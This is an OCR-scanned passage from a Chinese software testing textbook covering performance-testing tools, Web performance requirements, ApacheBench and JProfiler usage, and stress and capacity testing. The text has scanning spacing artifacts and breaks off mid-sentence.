(1) nGrinder(http://www. nhnopensource. org/ngrinder/) 是 一 个 基于 Grinder 开发 的 、 
易于 管理 和 使 用 的 、 分 布 式 性 能 测试 系统 。 它 是 由 一 个 controller 和 连接 它 的 多 个 agent 组 
成 ,用 户 可 以 通过 Web 界面 管理 和 控制 测试 ,以 及 查看 测试 报告 ,controller 会 把 测试 (基于 
Python 的 测试 脚本 ) 分 发 到 一 个 或 多 个 agent 去 执行 (由 Python 执行 )。 用 户 可 以 设置 使 
多 个 进程 和 线程 来 并 发 地 执行 该 脚本 ,而 且 在 同一 线程 中 ,来 重复 不 断 地 执行 测试 脚本 ,来 模 
拟 很 多 并 发 用 户 。 在 执行 过 程 中 收集 运行 情况 、 响 应 时 间 、 测 试 目标 服务 器 的 运行 情况 等 , 保 
存 这 些 数据 生成 运行 报告 。 

(2) Apache 提供 一 个 简单 的 命令 行 性 能 测试 工具 ab, 在 6. 3.6 节 将 详细 介绍 。 

(3) HTTP 工程 包含 一 个 名 为 HTTPD-Test 的 子 工程 一 一 Apache 的 通用 测试 工具 包 ， 
它 包 含 不 少 测试 工具 ,而 其 中 Flood(http://httpd. apache. org/test/flood/) 是 人 们 经 常 使 用 
的 一 个 Web 性 能 测试 工具 。Flood 使 用 XML 文件 来 完成 性 能 测试 设置 ,如 请 求 的 URL、 
POST 数据 等 。 


(4) Siege(http://www. joedog. org/JoeDog/Siege) 是 一 个 开源 的 Web 压力 测试 和 评测 
工具 。 

(5) OpenSTA ,可 以 模拟 大 量 的 虚拟 用 户 来 完成 性 能 测试 ,并 通过 script 来 完成 丰富 的 自 
定义 设置 。 详 见 http://portal. opensta. org/index. php。 

(6) DBMonster 是 一 个 生成 随机 数据 、 用 来 测试 SQL 数据 库 的 压力 测试 工具 , 详 见 
http://dbmonster. kernelpanic. pl/ 。 

(7) LoadSim 一 一 网 络 应 用 程序 的 负载 模拟 器 。 

更 多 的 性 能 测试 工具 ,可 访问 http://www. opensourcetesting. org/performance. php。 

4. 商业 的 性 能 测试 工具 

(1) HP LoadRunner 是 业界 领先 的 性 能 测试 工具 ,适用 于 大 规模 的 企业 和 项 目 , 可 以 包 
括 移 动 .AJAX Flex、HTML 5、. NET、Java、GWT、Silverlight、SOAP、Citrix、ERP 和 传统 应 
用 等 进行 测试 ,并 在 系统 上 线 前 获得 准确 的 端 到 端 系统 性 能 视图 。 

(2) IBM Rational Performance Tester 是 适用 于 Web 应 用 程序 的 性 能 测试 工具 ,基于 
Windows 和 Linux 的 用 户 界 面 ,使 用 基于 树 状 结构 的 测试 编辑 器 提供 高 级 且 详 细 的 测试 视 
图 ,支持 使 用 自 定 义 Java 代码 的 灵活 测试 定制 ,将 易 用 性 与 深入 分 析 功 能 相 结合 ,从 而 简化 了 
测试 创建 的 过 程 , 并 满足 各 种 性 能 测试 需求 。 提 供 不 同 用 户 数 的 灵活 的 模拟 ,支持 将 
Windows 和 Linux 用 作 分 布 式 负 载 生成 器 ,使 用 最 小 化 的 硬件 资源 实现 大 型 ,多 用 户 的 测试 ， 
以 帮助 确保 应 用 程序 具有 支持 数 以 千 计 并 发 用 户 并 稳定 运行 的 性 能 。 

(3) Radview WebLoad 也 是 知名 的 负载 测试 工具 ,用 于 性 能 、 伸 缩 性 等 测试 ,脚本 语言 是 
JavaScript, 支 持 多 种 协议 (包括 SOAP/XML、FTP、SMTP、AJAX 在 内 的 REST/HTTP 等 )， 
因而 可 从 所 有 层面 对 应 用 程序 进行 测试 。 在 2008 年 4 月 , Radview 则 以 GPL 协议 发 布 了 
WebLOAD 的 开源 社区 版 本 ,该 版 本 可 从 webload. org 下 载 , 但 还 保留 商业 的 专业 版 。 

(4) Compuware QA Load 是 适合 Web 应 用 系统 、 数 据 库 服务 器 的 性 能 测试 工具 ,针对 分 
布 式 的 应 用 系统 ,创建 和 执行 有 效 的 、 仿 真 的 负载 测试 。 通 过 模拟 成 百 上 千 的 用 户 执行 关键 业 
务 , 从 控制 中 心 管理 全 局 负载 测试 ,规划 系统 性 能 ,通过 重复 测试 寻找 瓶颈 问题 .优化 系统 性 能 
或 验证 应 用 的 扩展 性 。 

(5) Quest Benchmark Factory 是 一 种 高 扩展 性 的 压力 测试 .容量 规划 和 性 能 优化 工具 ， 
能 应 用 于 分 布 式 计算 环境 ,可 以 模拟 数 千 个 用 户 访问 应 用 系统 中 的 数据 库 文件.Web 和 消息 
服务 器 ,从 而 确定 系统 容量 、 找 出 系统 瓶颈 等 。 

(6) 微软 WAS(Web Access Stress test) 人 允许 以 不 同 的 方式 创建 测试 脚本 (录制 .装载 . 导 
入 和 直接 手工 编辑 等 ) ,可 以 通过 一 台 或 者 多 台 客 户 机 模拟 大 量 用 户 的 活动 ,由 中 央 主 客户 端 
来 控制 。WAS 支持 身份 验证 .加 密 (SSL 协议 ) 和 Cookies, 支 持 随机 的 或 顺序 的 数据 集 .带宽 
调节 和 随机 延迟 ,允许 URL 分 组 和 对 每 组 的 点 击 率 的 说 明 , 以 更 真实 地 模拟 实际 情景 。 提 供 
一 个 对 象 模型 ,可 以 通过 VBScript 处 理 或 者 通过 定制 编程 来 达到 开启 、 结 束 和 配置 测试 脚本 
的 效果 。 

(7) Paessler Webserver Stress Tool。 只 要 输入 网 站 的 URL 网 址 以 及 模拟 的 上 站 人 数 ， 
就 可 以 模拟 在 同一 时 间 内 进 站 或 是 循序 进 站 时 对 服务 器 的 存 取 负载 ,并 获得 服务 器 的 相关 性 
能 数据 ,如 反应 时 间 ,传递 速率 等 。 它 还 支持 CGI 或 ASP 等 语言 撰写 的 程序 ,支持 Proxy 设 
定 、 密 码 输入 、Cookies 与 ASP 的 Session-IDs 等 功能 。 

(8) MINQ PureLoad 是 基于 Java 的 测试 工具 ,支持 J2EE.. NET、PHP、AJAX、SOAP 和 


ASP 等 各 种 应 用 ,脚本 语言 采用 XML ,简单 . 易 用 。 因 为 是 基于 Java 的 软件 工具 ,因此 可 以 通 
过 Java Beans API 来 增强 软件 功能 。 


6.3.6 ”Web 性 能 测试 


在 Web 性 能 测试 中 ,关键 的 是 确定 其 测试 的 需求 。 一 般 有 以 下 两 种 方式 来 描述 Web 的 
性 能 测试 需求 。 

(1) 基于 Web 应 用 系统 的 在 线 用 户 和 响应 时 间 来 度量 系统 性 能 ,适合 企业 的 内 部 Web 
应 用 系统 ,因为 容易 获得 负载 数据 一 一 上 线 后 所 支持 的 在 线 用 户 数 以 及 业务 操作 习惯 。 这 类 
测试 需求 可 描述 为 : 50 个 在 线 用 户 按 正常 操作 速度 访问 系统 ,页 面 响应 时 间 不 大 于 3s, 事 物 
处 理 的 成 功率 应 达到 100%; 而 当 在 线 用 户 达 到 峰值 200 时 ,页 面 响应 时 间 不 大 于 8s, 事 物 处 
理 的 成 功率 应 大 于 90%。 

(2) 基于 Web 应 用 系统 的 吞吐 量 和 响应 时 间 来 度量 系统 性 能 。 当 Web 应 用 在 上 线 后 所 
支持 的 在 线 用 户 无 法 确定 ,如 基于 Internet 的 网 上 购物 系统 ,可 通过 每 天 下 订单 的 业务 量 直 接 
计算 其 吞吐 量 , 从 而 采取 基于 吞吐 量 的 方式 来 描述 性 能 测试 需求 ,如 可 描述 为 : 网 上 购物 系统 
在 每 分 钟 内 需 处 理 20 笔 订单 提 交 , 交 易 成 功率 为 100% ,而且 90% 的 请 求 响应 时 间 不 大 于 8s。 

关于 Web 性 能 指标 ,还 可 以 参考 标准 性 能 评估 公司 (Standard Performance Evaluation 
Corporation, SPEC) 网 站 http://www. spec. org/benchmarks. html# web。 

如 何 确 定 在 线 用 户 数量 呢 ? 可 以 根据 系统 可 能 访问 用 户 数 以 及 每 个 用 户 访问 系统 的 时 间 
长 短 来 确定 。 例 如 , 某 个 企业 内 部 的 Web 应 用 系统 ,通过 分 析 获 得 该 系统 有 10 000 个 注册 用 
户 , 每 天 有 一 半 用 户 会 在 上 班 时 间 (8 个 小 时 ) 访 问 这 个 系统 ,平均 在 线 时 间 为 30min, 那 么 该 
Web 应 用 系统 的 平均 在 线 数 ( 即 Session 连接 数 ) 约 为 300 个 (10000/2X0.5 / 8) ,假设 在 线 用 
户 数 峰值 是 平均 在 线 用 户 数 的 3 倍 , 则 性 能 测试 需求 的 在 线 用 户 数 可 定 为 900。 而 系统 数据 
天 吐 量 可 通过 统计 获得 , 即 得 到 单位 时 间 内 Web 应 用 系统 需 成 功 处 理 多 少 笔 交 易 。 例 如 ,每 
天 访问 系统 的 5000 用 户 , 平 均 进行 5 次 查询 , Web 服务 器 平均 每 分 钟 要 处 理 52 个 事务 ( 即 
5000X5 / 480)。 如 果 考 虑 到 峰值 因素 ,要 求 每 分 钟 能 处 理 大 约 150 个 事务 。 

由 于 时 间 和 资源 限制 ,不 可 能 对 Web 应 用 系统 的 所 有 功能 进行 性 能 测试 ,而 是 根据 业务 
的 实际 操作 情况 和 技术 的 角度 来 分 析 ,选择 关键 业务 。 例 如 ,企业 内 部 的 Web 应 用 系统 的 登 
录 操 作 就 是 一 项 关键 业务 操作 ,多 数 用 户 一 到 办 公 室 就 登录 系统 ,所 以 系统 登录 操作 的 在 线 
户 峰 值 会 出 现在 早上 上 班 时 间 。 而 对 于 电子 商务 系统 ,商品 查询 操作 是 最 多 的 。 每 个 用 户 访 
问 系统 ,首先 就 查询 感 兴趣 的 商品 。 真 正 买 东西 的 用 户 不 一 定 很 多 ,但 查询 操作 都 少不了 。 

接 下 来 还 要 确定 具体 的 负载 参数 ,包括 发 送 请 求 的 虚拟 用 户 数 .每 个 虚拟 用 户 发 送 请 求 的 
速度 和 频率 ( 即 思考 时 间 ) 。 如 果 是 基于 在 线 用 户 的 性 能 测试 需求 ,可 以 将 录制 脚本 时 记录 的 
思考 时 间作 为 基准 ,以 此 将 思考 时 间 设 置 成 一 定 范围 内 的 随机 值 。 基 于 吞吐 量 的 性 能 测试 需 
求 , 可 以 把 思考 时 间 设 置 为 零 。 

测试 的 结果 要 绘 出 负载 和 系统 性 能 指标 之 间 的 关系 , 即 当 负载 随时 间 发 生变 化 时 系统 的 
性 能 指标 相应 的 变化 趋势 ,如 并 发 用 户 数 从 10 个 一 直 增 加 到 300 时 ,页 面 响应 时 间 的 变化 趋 
势 。 也 可 以 绘 出 并 发 用 户 数 、 响 应 时 间 以 及 数据 吞吐 量 之 间 的 关系 曲线 。 一 般 来 说 ,并 发 用 户 
数 增加 时 页 面 的 响应 时 间 也 增加 。 服 务 器 的 数据 吞吐 量 不 同 于 响应 时 间 , 刚 开始 随 并 发 用 户 
数 增加 而 吞吐 量 增加 ,当知 吐 量 到 达 一 定 峰 值 后 , 青 增加 并 发 用 户 数 ,吞吐 量 会 减少 。 原 因 在 
于 当 并 发 用 户 数 少时 ,向 Web 服务 器 提交 的 请 求 量 不 大 ,服务 器 处 理 能 力 还 有 富余 ,所 以 吞吐 


量 逐 步 增 大 ; 但 当 并 发 用 户 数 超过 某 一 值 时 ,由 于 向 服务 器 提交 的 请 求 太 多 ,造成 服务 器 阻 
塞 ,反而 导致 吞吐 量 减 少 。 


Apache 提供 的 性 能 测试 工具 ab 

ab 的 全 称 是 ApacheBench, 是 Apache 附带 的 一 个 小 工具 ,专门 用 于 HTTP Server 的 
Benchmark Testing, 可 以 同时 模拟 多 个 并 发 请 求 。ab 命令 带 很 多 参数 ,例如 常用 的 有 以 
下 二 昌 

-A auth-username:password: 向 服务 器 提供 基本 认证 信息 。 用 户 名 和 密码 之 间 由 一 
个 “:” 隔 开 , 并 将 被 以 Base64 编码 形式 发 送 。 无 论 服务 器 是 否 需要 ( 即 是 否 发 送 了 401 认 
证 需求 代码 ) ,此 字符 串 都 会 被 发 送 。 

-c concurrency: 一 次 产生 的 请 求 个 数 。 默认 是 一 次 一 个 。 

-C cookie-name= value 

-I: 执行 HEAD 请 求 ,而 不 是 GET。 

-k: 启用 KeepAlive 功能 , 即 在 一 个 HTTP 会 话 中 执行 多 个 请 求 。 默 认 不 启用 
KeepAlive 功能 。 

-Pp POST-file: 包 含 POST 数据 的 文件 。 

更 多 的 参数 见 : 

http://httpd. apache. org/docs/2. 0/programs/ab. html 

http://www. phpchina. com/manual/apache/programs/ab. html 

示例 : ab-n 30-c 10 http://www. ussite. com/ , 即 发 送 30 个 请 求 ,每 次 发 送 10 个 并 发 
请 求 , 测 试 该 国外 Web 站 点 ussite. com 性 能 如 何 。 

This is ApacheBench, Version 2.3 <$ Revision: 655654 $> 


Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www. zeustech. net/ 
Licensed to The Apache Software Foundation, http://www.apache. org/ 


Benchmarking www. ussite. com (be patient)..... done 


Server Software: gws 

Server Hostname: Www. ussite. com 

Server Port: 80 

Document Path: 下 

Document Length: 5958 bytes 

Concurrency Level : 10 // 并 发 水 平 

Time taken for tests: 2.672 seconds 

Complete requests: 30 // 完 成 的 请 求 数 

Failed requests: 24 // 失 败 的 请 求 数 
(Connect: 0, Receive: 0, Length: 24, Exceptions: 0) 

Write errors: 0 

Total transferred: 196080 bytes // 数 据 传 输 量 

HTML transferred: 179280 bytes 


Requests per second: 11.23 [#/sec] (mean) //RPS: 每 秒 的 数据 传输 量 (吞吐 量 ) 


Time per request: 890.625 [ms] (mean) //TPR: 响应 时 间 

Time per request: 89.063 [ms] (mean, across all concurrent requests) 

Transfer rate: 71.67 [Kbytes/sec] received ”// 传 输 速 率 

Connection Times (ms) // 连 接 时 间 , 分 为 最 小 值 平 均值 瞬时 值 , 最 大 值 
min mean [+/-sd] median max 

Connect: 78 81 6.4 78 94 

Processing: 172 630 204.1 734 766 

Waiting: 78 381 190.8 406 734 

Total: 250 711 204.5 813 844 


Percentage of the requests served within a certain time (ms) 
50% 813 
66% 828 
75% 828 
80% 844 


100% 844 (longest request) 


6.3.7 用 JProfiler 完成 应 用 服务 器 的 性 能 测试 


JProfiler 是 一 个 比较 好 的 应 用 服务 器 性 能 测试 工具 , 它 能 实时 地 监控 系统 的 CPU ,内存 、 
线程 JVM(Java 虚拟 机 ) 等 运行 或 性 能 的 动态 状况 ,可 以 找到 性 能 瓶颈 ,内存 泄漏 等 问题 ,并 
通过 堆 遍 历 做 资源 回收 器 的 根源 性 分 析 。JProfiler 还 提供 不 同 的 方法 来 记录 访问 树 以 优化 性 
能 和 细节 ,在 视图 中 可 以 灵活 选择 线程 或 者 线程 组 .而 所 有 的 视图 可 以 聚集 到 方法 、 类 、 包 或 组 
件 等 不 同 层次 上 。 

JProfiler 分 析 器 提供 有 用 的 Java 服务 器 应 用 信息 ,非常 有 助 于 优化 应 用 的 性 能 ,特别 是 
在 高 负载 下 的 应 用 分 析 。 借 助 Java 虚拟 机 分 析 器 界面 (JVMPI) 可 以 监控 运作 的 方式 以 及 
JVM 运行 任何 Java 程序 时 的 关键 事件 一 一 从 单独 的 应 用 程序 到 Applet、 Servlet 和 企业 
JavaBeans(EJB) 组 件 。 在 分 析 器 内 启动 一 个 程序 意味 着 生成 捕捉 和 观察 大 量 数据 ,因此 所 有 
的 分 析 器 都 包含 着 不 同 的 方法 来 控制 数据 的 流动 ,在 不 同 的 标准 以 及 每 一 个 封包 的 基础 上 进 
行 过 滤 , 同 样 也 可 以 使 用 灵活 的 正则 表达 式 类 型 模式 来 完成 。 

在 本 节 中 ,使 用 JProfiler 创建 一 个 性 能 监控 分 析 环 境 , 跟 踪 本 地 和 远程 的 服务 器 程序 ,并 
主要 专注 于 三 个 性 能 问题 : 内 存 、 垃 圾 回收 和 多 线程 运行 状况 ,从 而 很 好 地 监视 JVM 运行 情 
况 以 及 性 能 。 

JProfiler, 如 图 6-10 所 示 ,几乎 支持 所 有 常用 的 IDE 和 应 用 服务 器 ,可 以 到 其 EJ 官方 网 
站 http://www. ej-technologies. com/ 下 载 ,申请 一 个 10 天 的 试用 注册 码 。 

1. 内 存 .CPU 剖析 和 堆 遍 历 

JProfiler 内 存 视图 (Memory Profile) 可 以 直观 地 (如 列表 、 分 配 访问 树 等 ) 提 供 动 态 的 内 
存 分 配 和 使 用 状况 ,并 且 能 够 显示 当前 存在 的 方法 、 类 、 包 、 对 象 和 成 为 垃圾 回收 的 对 象 。 而 
JProfilerCPU 视图 (CPU Profiler) 包 括 访问 树 、 热 点 和 访问 图 等 ,例如 ,访问 树 自 顶 向 下 显示 
JVM 中 已 记录 的 访问 队列 。JDBC、JMS 和 JNDI 服务 请 求 都 被 注释 在 请 求 树 中 ,并 能 根据 
Servlet 和 JSP 对 URL 的 不 同 需要 进行 拆 分 。 


3 软件 测试 方法 和 技术 (第 3 版 ) 
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图 6-10 JProfiler 运行 IDE 界面 


在 JProfiler 堆 遍 历 器 (Heap Walker) 中 ,可 以 对 堆 的 状况 进行 快照 并 且 可 以 通过 选择 步 
又 寻找 感 兴趣 的 对 象 , 堆 遍历 器 有 类 、 分 配 索引、 数据 和 时 间 等 视图 ,如 分 配 视 图 可 以 为 所 有 
记录 对 象 显示 分 配 数 和 分 配 热点 ,而 数据 视图 为 单个 对 象 显示 实例 和 类 数据 。 

2. 线程 剖析 

JProfiler 线程 视图 (Thread Profile) 包 括 : 

(1) 线程 历史 ,显示 一 个 与 线程 活动 和 线程 状态 在 一 起 的 活动 时 间 表 。 

(2) 线程 监控 ,显示 一 个 列表 ,包括 所 有 的 活动 线程 及 其 当前 的 活动 状况 。 

(3) 死 锁 探 测 图 表 (Deadlock Detection) ,显示 一 个 包含 所 有 在 JVM 里 的 死 锁 图 表 。 

(4) 当前 线程 监测 器 ,显示 正在 被 使 用 的 线程 及 其 关联 的 线程 。 

(5) 历史 检测 记录 ,显示 重大 的 等 待 事件 和 阻塞 事件 的 历史 记录 。 

(6) 监测 使 用 状态 统计 ,显示 被 监测 的 线程 分 组 ,各 类 统计 数据 。 

3. VM 遥感 勘测 技术 

观察 JVM 的 内 部 状态 ,JProfiler 提供 了 不 同 的 遥感 勘测 视图 (VM Telemetry) ,通过 图 像 
直观 地 显示 堆 (Heap) ,记录 的 对 象 \ 垃 圾 回收 (Garbage Collector) 、 类 ,线程 等 的 活动 时 间 表 。 

4. 本 地 监控 

(1) 安装 JProfiler 和 JBuilderX, 然 后 运行 JProfiler, 打开 Session| IDE integration tab， 
IDE 选择 Borland JBuilder, 选 择 JBuilder 的 安装 目录 并 确认 ,就 完成 了 以 OpenTool 的 形式 将 
JProfiler 整合 到 JBuilder 中 。 

(2) 运行 JBuilder,. 打 开 Run|Configurations ,选择 或 新 建 一 个 Runtime, 在 Optimize 选项 
中 就 可 以 看 到 JProfiler, 可 以 选择 每 次 运行 程序 新 建 一 个 JProfiler 窗口 的 提示 设置 。 

(3) 单 击 Optimize Project 按钮 ,运行 程序 ,弹出 如 图 6-11 所 示 的 Application Settings 对 


话 框 ,确认 相关 的 信息 即 可 。 


图 6-11 JProfiler 应 用 设置 


(4) 至 此 ,可 以 监控 本 地 服务 器 各 个 方面 的 性 能 。 内 存 .CPU 线程 等 剖析 视图 ,如 图 6-12 一 
图 6-14 所 示 。 
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6-12 JProfiler 内 存 剖析 视图 示例 


图 6-13 JProfiler CPU 剖析 视图 


图 6-14 JProfiler 线程 剖析 视图 


5. 远程 监控 

由 于 服务 器 一 般 运行 在 远程 的 服务 器 设备 上 ,因此 需要 远程 监控 服务 器 资源 。 一 般 会 安 
装 在 Linux 操作 系统 上 ,运行 类 似 于 . /JProfiler_linux_6_0. sh 的 命令 执行 文件 。 如 果 没 有 安 
装 X Server, 则 要 在 命令 后 面 加 “-q” 参 数 。JProfiler 会 安装 在 /opt 目录 下 。 然 后 进行 配置 , 详 
细 内 容 , 可 以 从 http://resources. ej-technologies. com/jprofiler/help/doc/help. pdf 下 载 
help. pdf 文件 。 

(1) 打开 本 地 的 JProfiler, 选 择 Session| Integration Wizards|New Remote Integration , 选 
择 On a Remote Computer, 在 Platform 上 选择 Linux x86/AMD64, 单 击 Next 按钮 。 

(2) 输入 远程 IP 地 址 , 单 击 Next。 再 输入 JProfiler 的 安装 目录 ,默认 都 安装 在 /opt/ 
JProfiler4 下 , 单 击 Next 按钮 。 

(3) 按照 出 现 提 示 框 来 配置 服务 器 ,例如 ,在 Java 执行 语句 中 加 入 下 列 参数 ， 


—Xint - XrunJProfiler: port = 8849 - Xbootclasspath/a:/opt/JProfiler4/bin/agent. jar; 
在 /etc/profile 中 加 入 : 
export LD_LIBRARY PATH = /opt/JProfiler4/bin/linux - x86 


然后 ,退出 后 重新 登录 。 
(4) 配置 完毕 后 , 先 运行 远程 服务 器 程序 ,再 打开 本 地 的 JProfiler 程序 “握手 ?成功 后 , 远 
程 程序 即 可 正常 运行 了 。 


// 服 务 器 端 显 示 信 息 如 下 : 

[root@ns 55556]# tail - f nohup. out 

JProfiler > Protcol version 21 

JProfiler > Using JVMPI 

JProfiler > 32— bit library 

JProfiler > Listening on port:8849 

JProfiler > Native library initialized 

UProfiler > Waiting for a connection from the JProfiler GUI… 


// 以 上 为 本 地 JProfiler 连 上 前 的 系统 提示 

JProfiler > Using dynamic instrumentation 

JProfiler > Time measurement: elapsed time 

JProfiler > CPU profiling enabled 

JProfiler > Starting org/anymobile/server/cmwap/CmwapServer 


6.3.8 压力 测试 


压力 测试 (Stress Test) ,也 称 为 强度 测试 负载 测试 。 压 力 测试 是 模拟 实际 应 用 的 软 硬 件 
环境 及 用 户 使 用 过 程 的 系统 负荷 ,长 时 间或 超大 负荷 地 运行 测试 软件 ,来 测试 被 测 系统 的 性 
能 可靠 性 、 稳 定性 等 。 压 力 测试 的 目的 就 是 在 软件 投入 使 用 以 前 或 软件 负载 达到 极限 以 前 ， 
通过 执行 可 重复 的 负载 测试 ,了 解 系统 可 靠 性 、 性 能 瓶颈 等 ,以 提高 软件 系统 的 可 靠 性 、 稳 定 
性 ,减少 系统 的 宕 机 时 间 和 因此 带 来 的 损失 。 

从 本 质 上 来 说 ,测试 者 是 想 要 破坏 程序 ,难怪 在 进行 压力 测试 时 常常 问 自己 :“ 我 们 能 够 
将 系统 折腾 到 什么 程度 而 又 不 会 出 错 ?” 这 种 系统 折腾 ,就 是 对 异常 情况 的 设计 。 异 常情 况 主 


要 指 的 是 峰值 (瞬间 使 用 高 峰 ) 大 量 数据 的 处 理 能 力 ,长 时 间 运 行 等 情况 。 压 力 测试 总 是 迫使 
系统 在 异常 的 资源 配置 下 运行 。 例 如 : 

(1) 当中 断 的 正常 频率 为 每 秒 一 或 两 个 时 .运行 每 秒 产 生 10 个 中 断 的 测试 用 例 ; 

(2) 定量 地 增长 数据 输入 频率 ,检查 对 数据 处 理 的 反应 能 力 ; 

(3) 运行 需要 最 大 存储 空间 (或 其 他 资源 ) 的 测试 用 例 ; 

(4) 运行 可 能 导致 虚拟 操作 系统 崩溃 或 大 量 数据 对 磁盘 进行 存 取 操作 的 测试 用 例 等 。 

1. 测试 压力 估算 

根据 产品 说 明 书 的 设计 要 求 或 以 往 版 本 的 实际 运行 经 验 对 测试 压力 进行 估算 ,给 出 合理 
的 估算 结果 。 例 如 , 单 台 服 务 器 实际 使 用 时 一 般 只 有 100 个 并 发 用 户 , 但 在 某 一 时 间 段 的 用 户 
峰值 可 达到 500 个 。 那 么 事先 预测 要 求 的 压力 值 为 500 个 用 户 的 1.5~2 倍 。 而 且 要 考虑 到 
每 个 用 户 的 实际 操作 所 产生 的 事务 处 理 和 数据 量 。 如 果 产 品 说 明 书 已 说 明 最 大 设计 容量 , 则 
最 大 设计 容量 为 最 大 压力 值 。 

2. 测试 环境 准备 

测试 环境 准备 包括 硬件 环境 (服务 器 ,客户 机 等 )、 网 络 环境 (网 络 通信 协议 ,带宽 等 ) 测试 
程序 (能 正确 模拟 客户 端的 操作 ) .数据 准备 等 。 

分 析 压 力 测试 中 系统 容易 出 现 瓶 颈 的 地 方 . 从 而 有 目的 地 调整 测试 策略 或 测试 环境 ,使 压 
力 测 试 结 果真 实地 反映 出 软件 的 性 能 。 例 如 ,服务 器 的 硬件 限制 ,数据库 的 访问 性 能 设置 等 常 
常会 成 为 制约 软件 性 能 的 重要 因素 ,但 这 些 因素 显然 不 是 用 户 最 关心 的 ,在 测试 之 前 就 要 通过 
一 些 设置 把 这 些 因素 的 影响 调 至 最 低 。 

(1) 压力 稳定 性 测试 。 在 选 定 的 压力 值 下 ,持续 运行 24h 以 上 进行 稳定 性 测试 。 客 户 端 
通常 由 测试 工具 模拟 真实 用 户 不 停 地 进行 各 种 操作 。 监 视 服务 器 和 真实 客户 端的 必要 性 能 指 
标 。 通过 压力 测试 的 标准 是 各 项 性 能 指标 在 指定 范围 内 ,无 内 存 泄漏 、 无 系统 崩溃 、 无 功能 性 
故障 等 。 

(2) 破坏 性 加 压 测试 。 在 压力 稳定 性 测试 中 可 能 会 出 现 一 些 问 题 ,如 系统 性 能 明显 降低 ， 
但 仅 从 以 上 的 测试 中 很 难 暴 露出 其 真实 的 原因 。 通 过 破坏 性 不 断 加 压 的 手段 ,往往 能 快速 造 
成 系统 的 崩 浊 或 让 问题 明显 地 暴露 出 来 。 

Q@ 从 某 个 时 间 开 始 服务 器 拒绝 请 求 ,客户 端 上 显示 的 全 是 错误 。 

@ 勉强 测试 完成 ,但 网 络 堵塞 或 测试 结果 显示 时 间 非 常 长 。 

@ 服务 器 宕 机 。 

3. 问题 的 分 析 

在 压力 测试 中 通常 采用 的 是 黑 盒 测试 方法 ,测试 人 员 很 难 对 出 现 的 问题 进行 准确 的 定位 。 
报告 中 只 有 现象 会 造成 调试 修改 的 困难 ,而 开发 人 员 又 没有 相应 的 环境 和 时 间 去 重 现 问题 ,所 
以 适当 的 分 析 和 详细 的 记录 是 十 分 重要 的 。 

(1) 查看 服务 器 上 的 进程 及 相应 的 日 志文 件 可 能 立刻 找到 问题 的 关键 (如 某 个 进程 的 崩 
泪 ) 。 好 的 程序 员 会 给 程序 加 上 保护 .跟踪 机 制 及 错误 处 理 机 制 ,备份 日 志文 件 以 供 参考 。 

(2) 查看 监视 系统 性 能 的 日 志文 件 , 找 出 问题 出 现 的 关键 时 间 。 此 时 的 在 线 用 户 数量 、 系 
统 状态 等 也 是 很 有 价值 的 参考 材料 。 

(3) 检查 测试 运行 参数 ,进行 适当 调整 重新 测试 ,看 看 是 否 能 够 再 现 问题 。 

(4) 对 问题 进行 分 解 ,屏蔽 某 些 因素 或 功能 , 试 着 重 现 问题 。 例 如 ,客户 端 与 服务 器 有 三 


种 连接 方式 : TCP HTTP 、HTTPS, 则 只 保留 HTTP 或 TCP 连接 方式 。 如 问题 仍然 存在 ,也 
许 是 代理 服务 器 或 网 关 等 造成 的 ,把 MS 代理 换 成 SQULID 代理 等 方法 。 
4. 累积 效应 


有 些 测试 人 员 在 压力 测试 中 喜欢 让 整个 系统 重启 (如 服务 器 Reboot) ,以 确保 后 续 的 测试 
能 在 一 个 “干净 ”的 环境 中 进行 。 这 样 确实 有 力 于 问题 的 分 析 , 但 不 是 一 个 好 的 习惯 ,因为 这 样 
往往 会 忽略 掉 累 积 效应 ,使 得 一 些 缺 陷 无 法 被 发 现 。 有 些 问题 的 表现 并 不 明显 ,但 日 积 月 累 就 
会 造成 严重 问题 ,特别 是 服务 器 端的 压力 测试 。 例 如 , 某 进 程 每 次 调用 时 申请 占用 的 内 存在 运 
行 完毕 时 并 没有 完全 释放 ,平常 的 测试 中 无 法 发 现 , 但 最 终 可 能 导致 系统 的 崩溃 。 


6.3.9 容量 测试 


容量 测试 (Capacity Test) ,预先 分 析出 反映 软件 系统 应 用 特征 的 某 项 指标 的 极限 值 ,如 某 
个 Web 站 点 可 以 支持 的 多 少 个 并 发 用 户 的 访问 量 、 网 络 在 线 会 议 系统 的 与 会 人 数 。 知 道 了 系 
统 的 实际 容量 ,如 果 不 能 满足 要 求 ,就 应 该 寻求 新 的 解决 方案 ,以 提高 系统 的 容量 。 若 一 时 没 
有 新 的 解决 方案 ,就 有 必要 在 产品 发 布 说 明 书 上 明确 这 些 容量 的 限制 ,避免 引起 软件 产品 使 用 
上 的 纠纷 。 如 果实 际 容量 已 满足 要 求 , 就 能 帮助 用 户 建立 对 产品 的 信心 。 

通过 容量 测试 可 以 确定 软件 系统 还 能 保持 主要 功能 正常 运行 的 某 项 指标 的 极限 值 (如 最 
大 并 发 用 户 数 .数据库 记 录 数 等 ) ,或 者 说 能 够 确定 测试 对 象 在 给 定时 间 内 能 够 持续 处 理 的 最 
大 负载 或 工作 量 。 例 如 ,如 果 测 试 对 象 正在 为 生成 一 份 报表 而 处 理 一 组 数据 库 记录 ,那么 容量 
测试 就 会 使 用 一 个 具有 十 几 万 条 ,甚至 几 百 万 条 记录 的 大 型 测试 数据 库 ,检验 该 软件 是 否 能 正 
常 运行 并 生成 正确 的 报表 。 

容量 测试 有 时 候 进行 一 些 组 合 条 件 下 的 测试 ,如 核实 测试 对 象 在 以 下 高 容量 条 件 下 能 否 
正常 运行 。 

(1) 连接 或 模拟 了 最 大 (实际 或 实际 允许 ) 数 量 的 客户 机 ; 

(2) 所 有 客户 机 在 长 时 间 内 执行 相同 的 、 性 能 可 能 最 不 稳定 的 重要 业务 功能 ; 

(3) 已 达到 最 大 的 数据 库 大 小 (实际 的 或 按 比例 缩放 的 ) ,而且 同 时 执行 多 个 查询 或 报表 
事务 。 

容量 测试 的 完成 标准 可 以 定义 为 : 所 计划 的 测试 已 全 部 执行 ,而 且 达 到 或 超出 指定 的 系 
统 限 制 时 没有 出 现任 何 软件 故障 。 

当然 需要 注意 ,不 能 简单 地 说 在 某 一 标准 配置 服务 器 上 运行 某 软件 的 容量 是 多 少 。 选 | 
不 同 的 加 载 策 略 可 以 反映 不 同 状况 下 的 容量 。 一 个 简单 的 例子 ,网 上 聊天 室 软 件 的 容量 是 多 
少 ? 在 一 个 聊天 室内 有 1000 个 用 户 , 和 100 个 聊天 室 每 个 聊天 室内 有 10 个 用 户 。 同 样 的 
